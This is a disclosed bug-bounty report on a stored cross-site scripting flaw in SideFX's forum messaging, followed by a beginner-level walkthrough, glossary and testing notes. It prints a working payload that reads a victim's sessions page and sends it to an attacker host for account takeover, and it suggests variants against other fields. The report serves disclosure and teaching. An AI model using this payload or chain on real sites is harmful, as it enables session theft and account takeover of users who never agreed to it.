Stored XSS in messages
A stored cross-site scripting flaw in the private messaging feature allowed an attacker to inject HTML that executed in the recipient's browser. The attacker could then read the victim's active sessions page and exfiltrate the session identifier to take over the account.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 43 days
- Paid in 43 days
- Disclosed after 20 months
Summary:
I have researched availabilities for XSS attacks and i found it in messages. You should be authorized for this and approved by admin. To do this, you just need to make a post on the forum, which I did as the first step.
I was able to steal the session ID of the victim account (my second test account) and log in using it.
A session cannot be stolen via cookies, but the user has a page https://www.sidefx.com/account/sessions/. I sent a request to this page through the victim's account, and then inserted an image on the page with a link to my site. As a get parameter, I specified an html response encoded in base64<img src=http://mysite.com?q={HTML}>. It works even without a certificate
Steps To Reproduce:
[add details for how we can reproduce the issue]
- Your account must be approved to be able to send messages
- Send message for some user (I sent messages to myself and my second test account). Message content
https://example.com/">sadf</a><img src="xx"onerror="alert('XSS')"> - Open a received or just sent message. You will see
alertmessage
Supporting Material/References:
My payload for getting session:
https://example.com/">sadf</a><img src="xxx"onerror="fetch('https://www.sidefx.com/account/sessions').then(response=>{response.text().then(ddd=>{let el=document.createElement('img');el.src='http://myfakesite.com?q='+btoa(encodeURIComponent(ddd));document.body.appendChild(el)})})">
Impact
This is a really critical vulnerability, because the site has a list of forum users (https://www.sidefx.com/forum/users/) and such a load can be sent to each user
Context
SideFX runs a public website at *.sidefx.com that includes a forum and a private messaging feature. The messaging feature lets an approved user send a message to another user, and the recipient opens it in the web interface. The report is about stored cross-site scripting in that message content: the message body is rendered back to the recipient in a way that lets HTML and JavaScript through.
A second feature matters here: the account area has a page at https://www.sidefx.com/account/sessions/ that lists the sessions of the logged-in user. That page is the target of the session-stealing payload, because it is same-origin with the application and its HTML contains the session information the attacker wants.
Setup
Two preconditions are stated in the report:
- The account must be approved by an admin to be able to send messages. The researcher notes that you "should be authorized for this and approved by admin".
- The researcher used two accounts: the main one and a second test account acting as the victim.
The first step described is simply making a post on the forum, which the researcher did before testing messages. No specific tools, browser versions or server versions are given.
Finding it
The researcher was looking for XSS across the site's available features and found it in messages. The message content is rendered in a way that lets entity-encoded markup be interpreted as HTML when the message is opened. The researcher used an alert payload and a payload that reads the sessions page and exfiltrates it.
Exploitation
Step 1: get an approved account
Your account must be approved to be able to send messages. Without that approval the messaging feature is not reachable, so the attack cannot start.
Step 2: send a message containing the payload
The researcher sent messages to himself and to the second test account. The message content used for the proof of concept is:
https://example.com/">sadf</a><img src="xx"onerror="alert('XSS')">
This is HTML-entity-encoded markup. " and > decode to " and >, < and > decode to < and >,   is a space, ( and ) are parentheses and ' is a single quote. Once decoded by the browser, the string becomes an image tag with an onerror handler that calls alert('XSS').
Step 3: open the message
Open a received or just sent message. The browser decodes the entities, builds the img element, fails to load xx as an image, fires onerror, and the alert message appears. That confirms stored XSS in the message body.
Step 4: steal the victim's session
The researcher then replaced the alert with a payload that fetches the sessions page and sends its HTML to an attacker-controlled host. The payload is:
https://example.com/">sadf</a><img src="xxx"onerror="fetch('https://www.sidefx.com/account/sessions').then(response=>{response.text().then(ddd=>{let el=document.createElement('img');el.src='http://myfakesite.com?q='+btoa(encodeURIComponent(ddd));document.body.appendChild(el)})})">
Decoded, the handler does the following:
fetch('https://www.sidefx.com/account/sessions')requests the sessions page as the victim, using the victim's cookies because the request is same-origin.response.text()reads the HTML of that page.encodeURIComponent(ddd)URL-encodes the HTML, andbtoa(...)base64-encodes the result.- A new
imgelement is created withsrcset tohttp://myfakesite.com?q=followed by the base64 string, and appended to the document body. The script appends animgelement whosesrcpoints at the attacker's host with the encoded page content as a query parameter.
The researcher notes that this works even without a certificate, which is why the exfiltration URL is plain http. The report also describes the same idea in prose: a request is sent to the sessions page through the victim's account, and then an image is inserted on the page with a link to the attacker's site, with the HTML response encoded in base64 as a GET parameter, in the form <img src=http://mysite.com?q={HTML}>.
With the sessions page content in hand, the researcher was able to steal the session ID of the victim account (the second test account) and log in using it. The report adds a limit: a session cannot be stolen via cookies. The theft works through the sessions page instead, which exposes the session information in its HTML.
Root cause
The message body is stored and later rendered without adequate HTML encoding, so entity-encoded markup in the message is decoded and interpreted as HTML by the recipient's browser. The report does not describe the server-side or client-side code, so the exact escaping mistake is not shown; likely the message content is inserted into the page as raw HTML rather than as text.
The second half of the issue is the sessions page: it returns session information in a page that any same-origin script can read with fetch, so a script running in the application's origin can read it and send it out. The report does not say whether any cookie flags or CSRF protections were in place; it only states that cookies themselves could not be used to steal the session.
Impact
The report calls the issue really critical because the site publishes a list of forum users at https://www.sidefx.com/forum/users/, and a message with the payload can be sent to each of those users. An attacker with an approved account can send the payload to the users listed on the forum users page; the researcher demonstrated session theft against a second test account.
The platform rated the report medium with a CVSS score of 6.3, and a bounty of 500.00 USD was paid. The report was disclosed on 2024-04-17.
Fix
The measure that follows from the finding is to HTML-encode message content on output so that entity-encoded markup is displayed as text and never parsed as tags, and to review the sessions page so that session information is not exposed to scripts in a way that allows this kind of exfiltration.
Variants to test
- Send the same entity-encoded payload in other user-generated content fields (forum posts, profile fields, signatures) and open the rendered page. A positive result is the
alertfiring or the injected element appearing in the DOM. - Try the payload against a second account and confirm the script runs in the recipient's session, not only the sender's. A positive result is the exfiltration request arriving with the recipient's sessions page content.
- Replace
fetchwith other same-origin reads of sensitive pages (account settings, API endpoints returning JSON) and exfiltrate the response. A positive result is sensitive data appearing in the attacker's request log. - Test whether the exfiltration works over plain HTTP without a certificate, as the report notes. A positive result is the request reaching the attacker's host.
Hunting notes
During recon, look for features that require approval or a role, because they are less tested, and for pages that display session or account information in HTML, since those turn an XSS into account takeover. The signal is a message or post that renders HTML entities as markup rather than as literal text.
To show enough impact, the researcher moved from a simple alert to a payload that reads a same-origin page containing session data and sends it to an attacker-controlled host, then logged in with the stolen session. That chain, plus the public user list at https://www.sidefx.com/forum/users/ showing the payload can be delivered at scale, is what makes the case for severity beyond a reflected alert.
What happened, in plain words
SideFX runs a public website at *.sidefx.com. That site has a forum and a private messaging feature. Private messaging works like an inbox: one user writes a message, another user receives it, and the recipient opens it in their web browser to read it.
The problem is in how a message is displayed. When the recipient opens a message, the website takes the text of the message and puts it into the page. Normally, text should stay text: if you type <b>hello</b> into a message, you should see the literal characters <b>hello</b>, not a bold word. On this site, entity-encoded markup in a message was turned into real HTML and real JavaScript when the message was opened. That is what security people call stored cross-site scripting, or stored XSS.
Why "stored"? Because the dangerous content is saved on the server first (the message is stored in the database), and then shown to whoever opens it later. The attacker does not need to trick the victim into clicking a special link. The attacker just sends a message, and the trap is already waiting in the victim's inbox.
Why "cross-site scripting"? Because the attacker's script runs inside the victim's browser, on the victim's website, with the victim's logged-in identity. The browser has no way to tell that the script was written by someone else. It just sees code coming from the site it trusts, so it runs it.
A second feature matters here. The account area has a page at https://www.sidefx.com/account/sessions/ that lists the sessions of the logged-in user. A session is how a website remembers that you are logged in. When you log in, the server gives your browser a small piece of data (often a cookie, which is a small note the browser stores and sends back with every request to that site). That note is your proof of identity. Anyone who gets a copy of it can pretend to be you. The sessions page shows information about these sessions in its HTML, and that is exactly what the attacker wanted to read.
So the attack has two halves:
- Get a script to run in the victim's browser (the stored XSS in messages).
- Use that script to read the victim's sessions page and send the content to the attacker, so the attacker can log in as the victim.
Setup
Before any of this can happen, two conditions must be met. The report states both.
- The account must be approved by an admin to be able to send messages. The researcher notes that you "should be authorized for this and approved by admin". In other words, the messaging feature is not open to everyone; someone on the site's staff has to switch it on for your account first. This matters because it means the attacker needs a real, approved account, not just a random visitor.
- The researcher used two accounts: the main one (the attacker) and a second test account acting as the victim. Using two accounts is the standard way to test this kind of bug, because you need to see what happens in the victim's browser, not just your own.
The first step described is simply making a post on the forum, which the researcher did before testing messages. The report does not explain why, and no specific tools, browser versions or server versions are given.
Finding it
The researcher was looking for XSS across the site's available features and found it in messages. The message content is not escaped when it is stored and rendered, so HTML entities that decode to tags are interpreted by the browser when the message is opened.
Let us unpack that sentence, because it contains the whole trick.
HTML is the language web pages are written in. It uses tags like <img> (an image) or <a> (a link) to tell the browser what to display. When a browser sees <img src="...">, it tries to load a picture from that address.
Escaping (also called encoding) is the safety measure that stops user text from being treated as HTML. The idea is simple: if a user types a < character, the website should not pass that < to the browser as the start of a tag. Instead it should replace it with a code that means "this is a literal less-than sign, please display it as text". Those codes are called HTML entities. For example, < means "display a < character" and > means "display a > character".
Here is the catch. If a website does not escape properly, but the user's text already contains entity codes, the browser will decode those codes back into real characters and then treat them as HTML. So <img> becomes <img> in the browser's eyes, and the browser builds an actual image element. That is the bug.
The researcher used a harmless alert payload. An alert is a tiny JavaScript command that pops up a dialog box with a message. Security testers use it as a safe proof: if the box appears, code is running. The researcher also used a payload that reads the sessions page and exfiltrates it. Exfiltration means secretly sending stolen data out to a server the attacker controls.
Exploitation
Step 1: get an approved account
Your account must be approved to be able to send messages. Without that approval the messaging feature is not reachable, so the attack cannot start. Think of it like a members-only club: the door to the messaging room is locked until a staff member hands you a key.
Step 2: send a message containing the payload
The researcher sent messages to himself and to the second test account. The message content used for the proof of concept is:
https://example.com/">sadf</a><img src="xx"onerror="alert('XSS')">
This is HTML-entity-encoded markup. Let us go through it piece by piece.
https://example.com/is an ordinary-looking web address. It is there to make the message look like normal text before the injected part starts."decodes to"(a double quote).>decodes to>(a greater-than sign).sadfis just filler text.</a>decodes to</a>, which is the closing tag of a link. It is there to make the message look like ordinary text before the injected tag.<imgdecodes to<img, the start of an image tag. is a space.src="xx"decodes tosrc="xx". This tells the browser to load an image from the addressxx, which does not exist.onerror="alert('XSS')"decodes toonerror="alert('XSS')".onerroris an attribute that tells the browser: "if loading this image fails, run this piece of JavaScript".(and)are parentheses(and).'is a single quote'.
Once decoded by the browser, the string becomes an image tag with an onerror handler that calls alert('XSS'). The leading https://example.com/ and the sadf</a> fragment are there to make the message look like ordinary text before the injected tag.
Step 3: open the message
Open a received or just sent message. The browser decodes the entities, builds the img element, fails to load xx as an image, fires onerror, and the alert message appears. That confirms stored XSS in the message body.
This is the moment of proof. The popup box is not a bug in the browser; it is the browser faithfully doing what the page told it to do. The page told it to run JavaScript because the message content was treated as HTML instead of as plain text.
Step 4: steal the victim's session
The researcher then replaced the alert with a payload that fetches the sessions page and sends its HTML to an attacker-controlled host. The payload is:
https://example.com/">sadf</a><img src="xxx"onerror="fetch('https://www.sidefx.com/account/sessions').then(response=>{response.text().then(ddd=>{let el=document.createElement('img');el.src='http://myfakesite.com?q='+btoa(encodeURIComponent(ddd));document.body.appendChild(el)})})">
This looks intimidating, but it is the same idea as before: entity-encoded HTML that the browser decodes into a real <img> tag with an onerror handler. The difference is that the handler now contains a small JavaScript program instead of a simple alert. Here is what the decoded handler does, step by step.
-
fetch('https://www.sidefx.com/account/sessions')requests the sessions page as the victim, using the victim's cookies because the request is same-origin.fetchis a built-in browser function for making web requests from JavaScript. It is like the browser quietly opening a page in the background and handing the result to your code. Same-origin means the request comes from the same website (same scheme, host and port) as the page it is asking. Browsers attach the site's cookies to same-origin requests automatically, because that is how staying logged in works. So this request arrives at the server looking exactly like the victim clicking the sessions page themselves. -
response.text()reads the HTML of that page.The server answers with the page's HTML.
response.text()turns that answer into a plain string of text that the script can work with. -
encodeURIComponent(ddd)URL-encodes the HTML, andbtoa(...)base64-encodes the result.URL-encoding replaces characters that are not allowed in a web address (spaces,
&,?, and so on) with safe codes, so the text can travel inside a URL without breaking it. Base64 is a way of turning any data into a long string of ordinary letters and digits. It does not hide or encrypt anything; it just makes the data safe to carry in places that expect text. The two steps together make the page's HTML fit neatly into a URL parameter. -
A new
imgelement is created withsrcset tohttp://myfakesite.com?q=followed by the base64 string, and appended to the document body. The browser then makes the request to the attacker's host, carrying the page content in the query string.This is the clever part. The script does not need any special network tool. It simply creates an image whose address points at the attacker's server, with the stolen data glued on as a query string (the part of a URL after the
?). The browser tries to load that image, which means it sends a request tomyfakesite.comwith the page content in the query string. This technique is often called image beaconing.
The researcher notes that this works even without a certificate, which is why the exfiltration URL is plain http. A certificate is what makes https (the padlocked, encrypted version of the web) work. Plain http is unencrypted, but for this purpose it is enough: the data still arrives.
The report also describes the same idea in prose: a request is sent to the sessions page through the victim's account, and then an image is inserted on the page with a link to the attacker's site, with the HTML response encoded in base64 as a GET parameter, in the form <img src=http://mysite.com?q={HTML}>. A GET parameter is simply a value attached to the end of a URL after a ?, like a note pinned to the address.
With the sessions page content in hand, the researcher was able to steal the session ID of the victim account (the second test account) and log in using it. A session ID is the unique code that identifies a logged-in session. If you have it, you can present it to the server and be treated as that user.
The report adds a limit: a session cannot be stolen via cookies. In other words, the attacker could not simply read the victim's cookie directly. The theft works through the sessions page instead, which exposes the session information in its HTML. The report only states that a session cannot be stolen via cookies; the theft works through the sessions page instead.
Root cause
The message body is stored and later rendered without adequate HTML encoding, so entity-encoded markup in the message is decoded and interpreted as HTML by the recipient's browser. The report does not describe the server-side or client-side code, so the exact escaping mistake is not shown; likely the message content is inserted into the page as raw HTML rather than as text. The existing output encoding is insufficient because the entities in the payload survive storage and are decoded at render time.
In plain words: the website saved the message exactly as typed, and when showing it, it handed the text to the browser as if it were part of the page's own HTML. The browser cannot tell the difference between HTML the site wrote and HTML a user wrote. So it obeys both.
The second half of the issue is the sessions page: it returns session information in a page that any same-origin script can read with fetch, so a script running in the application's origin can read it and send it out.
CSRF (cross-site request forgery) is a different attack where a malicious site tricks your browser into sending a request to another site where you are logged in. It is mentioned here only as something the report does not comment on.
Impact
The report calls the issue really critical because the site publishes a list of forum users at https://www.sidefx.com/forum/users/, and a message with the payload can be sent to each of those users. An attacker with an approved account can send the payload to the users listed on the forum users page; the researcher demonstrated session theft against a second test account.
Think of the user list as a public directory of names. The attacker does not need to guess who to target; the site hands them the list. Each message is a trap, and a recipient who opens it runs the script in their session.
The platform rated the report medium with a CVSS score of 6.3, and a bounty of 500.00 USD was paid. The report was disclosed on 2024-04-17. CVSS is a standard scoring system for the severity of a security issue; higher numbers mean more serious. A bounty is a payment a company makes to a researcher who reports a valid issue.
Fix
The measure that follows from the finding is to HTML-encode message content on output so that entity-encoded markup is displayed as text and never parsed as tags, and to review the sessions page so that session information is not exposed to scripts in a way that allows this kind of exfiltration.
In everyday terms: when the site shows a message, it should treat every character as text, including <, > and &. If a user types <img>, the recipient should see the characters <img>, not a picture. And the sessions page should not hand out session details in a form that any script on the site can read and forward.
Variants to test
These are follow-up checks a tester would run to see how far the problem goes.
- Send the same entity-encoded payload in other user-generated content fields (forum posts, profile fields, signatures) and open the rendered page. A positive result is the
alertfiring or the injected element appearing in the DOM. The DOM (Document Object Model) is the browser's live, in-memory model of the page; if the injected element shows up there, the browser built it as real HTML. - Try the payload against a second account and confirm the script runs in the recipient's session, not only the sender's. A positive result is the exfiltration request arriving with the recipient's sessions page content. This proves the bug is not just a quirk of your own account.
- Replace
fetchwith other same-origin reads of sensitive pages (account settings, API endpoints returning JSON) and exfiltrate the response. A positive result is sensitive data appearing in the attacker's request log. An API endpoint is a URL that returns data (often in JSON, a simple text format for structured data) rather than a full web page, usually meant for programs to talk to. - Test whether the exfiltration works over plain HTTP without a certificate, as the report notes. A positive result is the request reaching the attacker's host.
Hunting notes
During recon, look for features that require approval or a role, because they are less tested, and for pages that display session or account information in HTML, since those turn an XSS into account takeover. Recon (reconnaissance) is the early phase of testing where you map out what a site offers. Account takeover means an attacker gains full control of someone else's account.
The signal is a message or post that renders HTML entities as markup rather than as literal text. In other words: type something like <b>test</b> and see whether the page shows the literal characters or a bold word. If it shows bold, the site is decoding your entities and treating them as HTML.
To show enough impact, the researcher moved from a simple alert to a payload that reads a same-origin page containing session data and sends it to an attacker-controlled host, then logged in with the stolen session. That chain, plus the public user list at https://www.sidefx.com/forum/users/ showing the payload can be delivered at scale, is what makes the case for severity beyond a reflected alert. A reflected XSS is one where the payload bounces straight back from a link you click; it is usually less serious because the victim has to be tricked into clicking. A stored XSS waits in the site itself and fires whenever anyone opens the affected content.
Glossary
- HTML: the language web pages are written in, using tags such as
<img>and<a>to describe content. - HTML entity: a code such as
<or"that stands for a character like<or", so the character can be shown as text instead of being treated as markup. - Escaping / encoding: replacing special characters in user text with safe codes so the browser displays them as text rather than interpreting them as HTML.
- Tag: a piece of HTML syntax such as
<img>that tells the browser to create an element. - Attribute: a setting inside an HTML tag, such as
srcoronerror. onerror: an HTML attribute that runs JavaScript when an image or other resource fails to load.- JavaScript: the programming language browsers run to make pages interactive.
alert: a JavaScript command that shows a popup dialog; commonly used as a harmless proof that code is running.- XSS (cross-site scripting): a bug where an attacker's code runs in another user's browser on a trusted website.
- Stored XSS: XSS where the malicious content is saved on the server and shown to victims later, without them clicking a special link.
- Reflected XSS: XSS where the payload comes back immediately from a crafted link the victim must click.
- Session: the state that keeps you logged in as you move around a site.
- Session ID: the unique code identifying a logged-in session; possessing it lets someone act as that user.
- Cookie: a small piece of data a website stores in your browser and receives back with each request, often used to prove you are logged in.
- Same-origin: a request coming from the same scheme, host and port as the page making it; browsers attach that site's cookies to such requests automatically.
fetch: a built-in browser function for making web requests from JavaScript.- Query string / GET parameter: the part of a URL after a
?, carrying values such as?q=something. - URL-encoding: replacing characters that are not allowed in a URL with safe codes.
- Base64: a way of turning any data into a string of ordinary letters and digits; it does not encrypt, it only makes data safe to carry as text.
- Image beaconing: sending data out by creating an image whose address points at an attacker's server, with the data in the URL.
- Exfiltration: secretly sending stolen data out to a server the attacker controls.
- Certificate: what makes
https(encrypted web traffic) work; without one, plainhttpis used. - DOM (Document Object Model): the browser's live, in-memory model of the page.
- API endpoint: a URL that returns data, often in JSON, for programs rather than for people.
- JSON: a simple text format for structured data.
- CSRF (cross-site request forgery): an attack where a malicious site tricks your browser into sending a request to another site where you are logged in.
- CVSS: a standard scoring system for the severity of a security issue.
- Bounty: a payment a company makes to a researcher who reports a valid security issue.
- Recon (reconnaissance): the early phase of testing where you map out what a site offers.
- Account takeover: an attacker gaining full control of someone else's account.